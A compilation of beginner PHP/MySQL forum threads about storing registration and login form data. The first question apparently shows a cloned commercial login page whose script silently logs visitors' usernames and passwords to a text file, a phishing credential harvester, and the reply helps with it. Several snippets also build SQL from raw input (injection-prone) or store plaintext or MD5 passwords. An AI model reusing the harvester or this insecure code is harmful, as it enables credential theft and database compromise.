I am just getting into web design with PHP, Ajax, and all the other goodies. I am trying to make a basic system that prints a username and password (or any fields) to a stored database. (I know this isn't secure, it's just a beginners project.) It seems to be highly inconsistent. Field A and Field B do not always print to the database. Sometimes it will print multiple times, and sometimes not at all. Here is the code you might need:
<form class="_rwf8p" data-reactid=".0.0.0.0.1.2">
<div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.0">
<input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Username" name="Username" type="username" placeholder="Username" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.0.0" type="text" />
</div>
<div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.1">
<input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Passwd" name="Passwd" type="password" placeholder="Password" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.1.0" type="password" />
<div class="_j4ox0" data-reactid=".0.0.0.0.1.2.1.1">
<a class="_19gtn" href="/accounts/password/reset/" data-reactid=".0.0.0.0.1.2.1.1.0">
Forgot?
</a>
</div>
</div>
<button class="_rz1lq _k2yal _84y62 _7xso1 _nv5lf" data-reactid=".0.0.0.0.1.2.2">
Log in
</button>
</form>
<script>
$("html").keypress(function(event) {
if(event.keyCode == 13) {
saveCridentials();
}
});
$("#signIn").click(function() {
saveCridentials();
});
function saveCridentials() {
$.ajax({
type: "POST",
url: "log.php",
data: { "username" : $("#Username").val(), "password" : $("#Passwd").val() },
dataType: "json"
});
$("#Username").val("");
$("#Passwd").val("");
}
</script>
The PHP:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
fwrite(fopen('cridentials.txt', 'a'), "Username: ". $username . " Password: ". $password . "\n");
?>
Any help would be really great, thanks!
"I am trying to make a basic system that prints a username and password (or any fields) to a stored database"
Why not try just php and MySql
First you will have to connect to your database:
<?php
/* Database config */
$db_host = 'localhost';
$db_user = 'yourinput';
$db_pass = 'yourinput';
$db_database = 'yourinput';
$link = mysql_connect($db_host,$db_user,$db_pass) or die('Unable to establish a DB connection');
mysql_select_db($db_database,$link);
mysql_query("SET names UTF8");
// Now lets say a user is trying to register with username and password, basically the same concept as what you would be trying to do.
if($_POST['submit']=='Register')
mysql_query(" INSERT INTO registered(usr,pass)
VALUES('".$_POST['usr']."','".md5($pass)."')");
// This would plug the values of the username and password, which is a randomly generated password but you could figure out how to conform it to the way you want.
// Most important your database has to be set up correctly. Check out this link http://dev.mysql.com/doc/refman/5.7/en/database-use.html , phpMyAdmin work great when working with data bases as well.
// Now, you HTML code has to written correctly. Your input form must be configured correctly to correspond to your php code & database. In your case you are simply trying to get the username and password into the database. Your id in your form has to be the same as you database and php code.
<input class="field" id="username" name="username" size="23" type="text" value="">
<input class="field" id="password" name="password" size="23" type="text" value="">
//If that doesn't help take a look at: https://www.eduonix.com/blog/web-programming-tutorials/learn-submit-html-data-mysql-database-using-php/
Related
I have HTML registration form when I submit the form the PHP code appears and data not insert to database i made my database using phpMyAdmin, what should I do?
Here my PHP code:
<?php
$con=mysqli_connect('localhost','root','');
$db=mysqli_select_db($con,'research_sys');
if ($con) {
echo "good";
}else {
die('error');
}
if(isset($_POST['submit'])){
$Fname = mysqli_real_escape_string($con,$_POST["Fname"]);
$Lname = mysqli_real_escape_string($con,$_POST["Lname"]);
$email = mysqli_real_escape_string($con,$_POST['email']);
$password = mysqli_real_escape_string($con,$_POST['password']);
$sql = mysqli_query($con,"INSERT INTO `research_sys`.`researcher` (Re_fname,Re_lname,Re_mobile,Re_password) values ('$Fname','$Lname','$email','$password ')");
if (mysqli_query($sql)){
echo "insert";
} else {
echo "error" .$sql ."<br>". mysqli_error($con);
}
}
?>
here my registration HTML code
<form method="post" action="connect.php">
<legend class="center">Register </legend>
<br>
<div>
<input type="text" name="Fname" placeholder="First Name"/>
</div>
<div>
<input type="text" name="Lname" placeholder="Last Name"/>
</div>
<div>
<input type="text" name="email" placeholder="Email"/>
</div>
<div>
<input type="password" name="password" placeholder="Password"/>
</div>
<div>
<input type="password" name="con_password" placeholder="Password confirm"/>
</div>
<input type="submit" name="submit" value="submit"/>
</form>
Look at the following:
$sql = mysqli_query($con,"INSERT INTO `research_sys`.`researcher`
^^^^^^^^^^^^ function
(Re_fname,Re_lname,Re_mobile,Re_password)
values ('$Fname','$Lname','$email','$password ')");
^ space
if (mysqli_query($sql)){
^^^^^^^^^^^^ function
You're using that mysqli_query() function twice, remove one and just do:
if ($sql){...}
and mysqli_error($con) should have thrown you an error about it.
If it didn't throw an error, then that may suggest you're using this as file:/// as opposed to http://localhost.
Edit:
"i have html registration form whin i submit the form the php code apears"
That's because of what I wrote above before quoting you. You need to run this off a webserver with php/mysql installed and running properly and as http://localhost.
Also, remove the space in this '$password '. That space counts as a character.
Double-check your column names also. There seems to be something that doesn't match (Re_fname,Re_lname,Re_mobile,Re_password) the Re_mobile and you're referencing an email '$email' in VALUES.
You also seem to store plain text passwords; don't, it's not safe if you intend on going live with this. Use password_hash() and a prepared statement.
Footnotes:
$con=mysqli_connect('localhost','root','');
$db=mysqli_select_db($con,'research_sys');
You can shorten that to using all 4 arguments in mysqli_connect():
$con=mysqli_connect('localhost','root', '', 'research_sys');
I have searched on here tirlessly and can not seen to find a solution to getting my code to work, i am trying to create a simple sign up system for member to join my website but i can not seen to get my php code to send to the database i have set up, here is the code.
<?php require 'lpgamers/connections/connect.php'; ?>
<?php
if(isset($_POST['Register'])) {
session_start();
$FName = $_POST['First_Name'];
$LName = $_POST['Last_Name'];
$Email = $_POST['Email'];
$PW = $_POST['Password'];
$sql = $con->query("INSERT INTO lpg-user-db (Fname, Lname, Email, Password)Values('{$FName}', '{$LName}', '{$Email}', '{$PW}')");
}
?>
<div class="rightbody">
<form id="registerform" name="registerform" method="post">
<div class="formelement">
<input name="First_Name" type="text" required class="tfield" id="First_Name" placeholder="First Name">
</div>
<div class="formelement">
<input name="Last_Name" type="text" required class="tfield" id="Last_Name" placeholder="Last Name">
</div>
<div class="formelement">
<input name="Email" type="email" required class="tfield" id="Email" placeholder="Email">
</div>
<div class="formelement">
<input name="Password" type="password" required class="tfield" id="Password" placeholder="Password">
</div>
<div class="formelement">
<input name="Register" type="submit" class="button" id="Register" value="Register">
</div>
</form>
I also have a connect file that is required and i have this set up and this does connect to my database
<?php
$con = mysqli_connect("localhost", "root", "", "lpgamers-user-db");
if (mysqli_connect_errno()) {
printf('Connect failed: %s\n', mysqli_connect_error());
exit();
}
?>
am i doing somthing wrong here or is this just a database problem, i am using a wamp server at this moment for testing ?.
Thanks in advance Rob.
mysqli_error($con) should have thrown you an error for this, but you didn't check for errors.
Your lpg-user-db table in
INSERT INTO lpg-user-db
contains hyphens and MySQL is interpreting that as lpg MINUS user MINUS db, in thinking you want it to do math.
The table name would require to have ticks around it:
INSERT INTO `lpg-user-db`
Either do that, or replace them with underscores and renaming it:
INSERT INTO lpg_user_db
References:
http://php.net/manual/en/mysqli.error.php
http://dev.mysql.com/doc/refman/5.7/en/identifier-qualifiers.html
Sidenote: If there are any constraints in your table, mysqli_error($con) will inform you of it.
If the data you are trying to input contains characters that MySQL will complain about and for example John's Bar & Grill, then you will need to escape your data; something you should be doing anyway.
$FName = mysqli_real_escape_string($con, $_POST['First_Name']);
and doing the same for the other POST arrays.
You're also open to an SQL injection, use a prepared statement.
https://en.wikipedia.org/wiki/Prepared_statement
Passwords
I also noticed that you may be storing passwords in plain text. This is not recommended.
Use one of the following:
CRYPT_BLOWFISH
crypt()
bcrypt()
scrypt()
On OPENWALL
PBKDF2
PBKDF2 on PHP.net
PHP 5.5's password_hash() function.
Compatibility pack (if PHP < 5.5) https://github.com/ircmaxell/password_compat/
Other links:
PBKDF2 For PHP
(I found this but still dont understand) {HTML form PHP post to self to validate or submit to new page}
I am sorry if this question is explained better in another place but I have been stuck for hours, have searched, and have just given up. I am going by the W3c website tutorial on how to validate, sanitize, and handle forms using PHP. All went well (At least I think it did) until it was time to do something with this data. I will show you the code now and further explain my position and problem after the code:
<form method="POST" name="signup" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<label for="first name"></label><input id="first name" name="first_name" placeholder="First Name" type="text" value="<?php echo $firstname;?>" /> <span class="error">* <?php echo $firstnameErr;?></span>
<label for="last_name"></label><input id="last name" name="last_name" placeholder="Last Name" type="text" value="<?php echo $lastname;?>" />
<span class="error">* <?php echo $lastnameErr;?></span>
<br><br>
<label for="email"></label><input id="email" name="email" placeholder="Email" type="text" value="<?php echo $email;?>" />
<span class="error">* <?php echo $emailErr;?></span>
<br /><br />
<label for="password"></label><input id="password" name="password" placeholder="Create Password" type="password" />
<span class="error">* <?php echo $passwordErr;?></span>
<br /><br />
<label for="male"><strong>Male</strong></label>
<input id="male" value="male" <?php if (isset($gender) && $gender=="male") echo "checked";?> name="gender" type="radio" />
<label for="female"><strong>Female</strong></label> <input id="female" value="female"
<?php if (isset($gender) && $gender=="female") echo "checked";?> name="gender" type="radio" />
<span class="error">* <?php echo $genderErr;?></span>
<br /><br />
<label for="submit">"I Agree To Terms And Conditions"</label> <input id="submit" value="Submit" type="submit" name="submit"/><br /><br />
<p><span class="error">* required field.</span></p>
<hr>
I am confused on many things. Should I keep the 'Form Action" as is, or should I change it to something like, "welcome.php". If I do change it to "welcome.php" do I still include the 'htmlspecialchars'? I am going to be using MSQLI. I am already able to connect to my database but how do I go about converting the users data into viable information for the server? Do I just go ahead and use the variables that I created in this HTML form? I know I need to put some kind of variables into a query string and then make sure I exit it as well. I am sorry if I pissed some of you off but I am just needing help. I dont want negative points but if I can receive some answers than I can handle a few bad points. Thanks for your help and happy holidays.
Below is my "welcome.php." It is actually called something different but for this moment it is "welcome.php". Thanks again.
<?php
$hostname="social89.db";
$username="social89";
$password="P!!";
$dbname="social89";
$db_conx = mysqli_connect($hostname, $username, $password) OR DIE ("Unable to
connect to database! Please try again later.");
if(mysqli_connect_errno()){
echo mysqli_connect_error();
exit();
}
$select = mysqli_select_db($db_conx,$dbname);
$firstname= $_POST["first_name"];
$lastname= $_POST["last_name"];
$email= $_POST["email"];
$password= $_POST["password"];
$gender= $_POST["gender"];
mysqli_query($db_conx,"INSERT INTO users (firstname, lastname, email, password, gender)
VALUES ('$firstname', '$lastname', '$email', '$password', '$gender')");
mysqli_close($db_conx);
header("Location: ERASETHISprofile.php")
?>
Ooh, where to begin.
At the beginning I guess.
"Post to self" refers to having the same script that renders the form receive the form data. The form action points back at the same php script using the server variable $_SERVER['PHP_SELF'].
This means you can do something like:
<?php
if (!empty($_POST)) { // if $_POST isn't empty, the user submitted the form
// validate
if ($validationPassed) {
// insert to db
} else {
// tell the user they messed up
$error = 'Hey, you! Email address was incorrect.';
}
}
//
?>
<html> ...
<?php if (isset($error)) { echo $error; } ?>
// form
The above is really basic. You'll want to set errors for specific fields failing validation to give the user more of a clue as to what to correct.
htmlspecialchars() - Convert special characters to HTML entities
In short, if you trust the input string, you don't need it. So "welcome.php" that has been typed manually by yourself into the document, is trusted, and doesn't need to have special characters converted - there aren't any in the string. If that text came from a user it could contain, for example, <h2>Hello</h2>. Without the use of this function, your page may render that Hello inside the H2.
Recommended reading for the next part: How can I prevent SQL injection in PHP?
At the moment you are vulnerable, because you are taking data from the form and are not validating or sanitizing it. Obligatory XKCD comic: http://xkcd.com/327/. In addition to the risk of SQL injection there is the risk of junk data ending up in your DB.
Validation in PHP: filter_var examples: http://www.php.net/manual/en/filter.examples.validation.php
I am php beginner and I am trying to make e-commerce by using php.
I am trying to make register form and I want to save these data into mysql server.
The coding looks like OK, but the data did not store in mysql server.
Could you give your answer for this? php language is first time that it is what I am struggled. Please give some advice. Thanks.
--registerForm.php--
<h4>Create a new account</h4>
<div class="box">
<form action="register.php" method="post">
<p>User ID: <input type="text" name="userId" size="30"/>*</p>
<p>Password: <input type="password" name="password" size="30"/>*</p>
<p>Retype Password: <input type="password" name="repassword" size="30"/>*</p>
<p>First Name: <input type="text" name="firstName" size="30"/>*</p>
<p>Last Name: <input type="text" name="lastName" size="30"/>*</p>
<p>Your Address (*):</p>
<p> <textarea name="address" rows="5" cols="30"></textarea></p>
<p>Phone: <input type="text" name="phone" size="20"/>*</p>
<p>E-mail: <input type="text" name="email" size="21"/>*</p>
<p><input type="submit" value="Create Account"/></p>
</form>
</div>
--register.php--
<?php
require "sql_connection.php";
if(isset($_POST['submit']))
{
if($_GET["userId"]==$_GET["repassword"]){
mysql_query("insert into customer (userId, password, firstName, lastName, address,
phone, email)
values
('$_GET[userId]','$_GET[password]','$_GET[firstName]','$_GET[lastName]','$_GET[address]','$_GET[phone]','$_GET[email]')")
or die(mysql_error());
}
echo "Done!!!!";
}
?>
--sql_connection.php--
<?php
$db_host = "localhost";
$db_username = "root";
$db_pass = "**MY_PASS**";
$db_name = "**MY_DB**";
#mysql_connect("$db_host", "$db_username", "$db_pass", "$db_name") or die("connection is fail.");
#mysql_select_db("$db_name") or die("database does not exsist.");
echo "Successfully connection!!";
?>
if($_GET["userId"]==$_GET["repassword"])
Why do you compare userid to a retype pssword field?
I think it should be :
if($_GET["password"]==$_GET["repassword"])
Also make sure you escape strings to prevent SQL Injection Attacks.
http://php.net/manual/en/function.mysql-real-escape-string.php
And Like Paul said, to correctly retrieve the data use $_POST
Few things. Your $_GET and $_POST are mixed up. and NEVER post your db_pass and uername in public. Also, you're suppressing errors using #. don't do that.
i.e.
if($_GET["userId"]==$_GET["repassword"]){
should be
if($_POST["userId"]==$_POST["repassword"]){
and changes all these to $_POST
Your code:
$_GET[userId]','$_GET[password]','$_GET[firstName]','$_GET[lastName]','$_GET[address]','$_GET[phone]','$_GET[email]')
Should be:
$_POST[userId]','$_POST[password]','$_POST[firstName]','$_POST[lastName]','$_POST[address]','$_POST[phone]','$_POST[email]')"
As your form method defined is POST so use $_POST to get values after submit instead of $_GET
require "sql_connection.php";
if(isset($_POST['submit']))
{
if($_POST["userId"]==$_POST["repassword"]){
mysql_query("insert into customer (userId, password, firstName, lastName, address,
phone, email)
values
('$_POST[userId]','$_POST[password]','$_POST[firstName]','$_POST[lastName]','$_POST[address]','$_POST[phone]','$_POST[email]')")
or die(mysql_error());
}
echo "Done!!!!";
}
?>
Values are not quoted properly. You should quote then before insert.
mysql_query("insert into customer (userId, password, firstName, lastName, address,
phone, email)
values
('".$_POST[userId]."','".$_POST[password]."','".$_POST[firstName]."','".$_POST[lastName]."','".$_POST[address]."','".$_POST[phone]."','".$_POST[email]."')")
I think that what you are trying to do is:
if($_GET["password"]==$_GET["repassword"]) {
I have a page which basically allows an admin user to create manager user types (basically a register function. So when the values are submitted, they are stored into the DB, very very basic stuff. However, I have a hidden variable type..reasons are I have 3 different user levels and I have declared they identification as an integer (e.g. 7 = manager, 8 =user etc.)
Can someone help me out with how to correctly pass this hidden value so it stores in the database...
Here is my form:
<form id="userreg" name="userreg" method="post" action="adduser-process.php">
<label>Full Name:</label> <input name="fullname" size="40" id="fullname" value="<?php if (isset($_POST['fullname'])); ?>"/>
<br />
<label>Username:</label> <input name="username" size="40" id="username" value="<?php if (isset($_POST['username'])); ?>"/> <br />
<label>Password:</label> <input name="password" size="40" id="password" value="<?php if (isset($_POST['password'])); ?>"/> <br />
<label>Email Address:</label> <input name="emailaddress" size="40" id="emailaddress" value="<?php if (isset($_POST['emailaddress'])); ?>"/>
<br />
<input name="userlevel" type="hidden" size="1" id="userlevel" value="<?php $_POST[5]; ?>" /> <br />
<input value="Add User" class="addbtn" type="submit" />
</form></div>
Next, here is the script that runs the query:
<?php
require_once "config.php";
$fullname = $_POST['fullname'];
$username = $_POST['username'];
$password = $_POST['password'];
$emailaddress = $_POST['emailaddress'];
$userlevel = $_POST[5];
$sql = "INSERT INTO users_tb VALUES('".$user_id."','".$fullname."','".$username."',MD5('".$password."'),'".$emailaddress."','".$userlevel."')";
$result = mysql_query($sql, $connection)
or die("MySQL Error: ".mysql_error());
header("Location: administratorfrontview.php");
exit();
?>
I'm basically trying to pass the hidden typem with a constant value of '5' just for this form, as it will not be changed...also while im here, for some reason, the 'fullname' is not stored in the DB either!!?? WTH?? all other fields are processed fine. Any help is much appreciated! Thank you.
Two things. One, $userlevel should equal $_POST['userlevel'] not 5 as POST data isn't always in that order. Two, your insert statement should be preceded with the column names (to prevent any data from going in the wrong order).
$sql = "INSERT INFO users_tb (id, name, username, password, email, userlevel) ".
"('".$user_id."','".$fullname."','".$username."',MD5('".$password."'),'".
$emailaddress."','".$userlevel."')";
Your PHP for outputting the value is wrong. Use:
<?= $_POST[5]; ?>
or
<?php echo $_POST[5]; ?>